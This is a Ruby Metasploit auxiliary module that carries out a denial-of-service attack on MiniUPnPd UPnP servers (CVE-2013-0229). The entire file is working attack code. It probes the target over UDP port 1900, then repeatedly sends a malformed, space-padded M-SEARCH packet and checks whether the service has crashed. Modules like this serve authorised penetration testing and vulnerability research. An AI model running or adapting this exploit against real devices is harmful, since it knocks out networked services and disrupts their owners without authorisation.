106 lines
3.2 KiB
Ruby
106 lines
3.2 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::Udp
|
|
include Msf::Auxiliary::Dos
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'MiniUPnPd 1.4 Denial of Service (DoS) Exploit',
|
|
'Description' => %q{
|
|
This module allows remote attackers to cause a denial of service (DoS)
|
|
in MiniUPnP 1.0 server via a specifically crafted UDP request.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'hdm', # Vulnerability discovery
|
|
'Dejan Lukan' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-0229' ],
|
|
[ 'OSVDB', '89625' ],
|
|
[ 'BID', '57607' ],
|
|
[ 'URL', 'https://community.rapid7.com/servlet/JiveServlet/download/2150-1-16596/SecurityFlawsUPnP.pdf' ]
|
|
],
|
|
'DisclosureDate' => 'Mar 27 2013',
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(1900),
|
|
OptInt.new('ATTEMPTS', [true, 'Max number of attempts to DoS the remote MiniUPnP ending', 3 ])
|
|
], self.class)
|
|
end
|
|
|
|
def send_probe(udp_sock, probe)
|
|
udp_sock.put(probe)
|
|
data = udp_sock.recvfrom
|
|
if data and not data[0].empty?
|
|
return data[0]
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def run
|
|
# the M-SEARCH probe packet that tries to identify whether the service is up or not
|
|
msearch_probe = "M-SEARCH * HTTP/1.1\r\n"
|
|
msearch_probe << "Host:239.255.255.250:1900\r\n"
|
|
msearch_probe << "ST:upnp:rootdevice\r\n"
|
|
msearch_probe << "Man:\"ssdp:discover\"\r\n"
|
|
msearch_probe << "MX:3\r\n"
|
|
msearch_probe << "\r\n"
|
|
|
|
# the M-SEARCH packet that is being read line by line: there shouldn't be CRLF after the
|
|
# ST line
|
|
sploit = "M-SEARCH * HTTP/1.1\r\n"
|
|
sploit << "HOST: 239.255.255.250:1900\r\n"
|
|
sploit << "ST:uuid:schemas:device:MX:3"
|
|
# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'
|
|
# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary
|
|
# characters: there's more chance that the the program will run off the stack.
|
|
sploit += ' '*(1500-sploit.length)
|
|
|
|
|
|
# connect to the UDP port
|
|
connect_udp
|
|
|
|
print_status("#{rhost}:#{rport} - Checking UPnP...")
|
|
response = send_probe(udp_sock, msearch_probe)
|
|
if response.nil?
|
|
print_error("#{rhost}:#{rport} - UPnP end not found")
|
|
disconnect_udp
|
|
return
|
|
end
|
|
|
|
(1..datastore['ATTEMPTS']).each { |attempt|
|
|
print_status("#{rhost}:#{rport} - UPnP DoS attempt #{attempt}...")
|
|
|
|
# send the exploit to the target
|
|
print_status("#{rhost}:#{rport} - Sending malformed packet...")
|
|
udp_sock.put(sploit)
|
|
|
|
# send the probe to the target
|
|
print_status("#{rhost}:#{rport} - The target should be unresponsive now...")
|
|
response = send_probe(udp_sock, msearch_probe)
|
|
if response.nil?
|
|
print_good("#{rhost}:#{rport} - UPnP unresponsive")
|
|
disconnect_udp
|
|
return
|
|
else
|
|
print_status("#{rhost}:#{rport} - UPnP is responsive still")
|
|
end
|
|
}
|
|
|
|
disconnect_udp
|
|
end
|
|
end
|